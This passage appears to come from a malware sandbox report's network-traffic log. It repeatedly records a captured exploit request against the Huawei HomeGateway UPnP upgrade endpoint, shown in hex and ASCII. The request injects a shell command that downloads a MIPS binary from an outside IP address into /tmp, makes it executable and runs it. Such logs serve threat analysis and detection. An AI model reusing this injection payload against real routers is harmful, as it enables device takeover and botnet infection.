xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 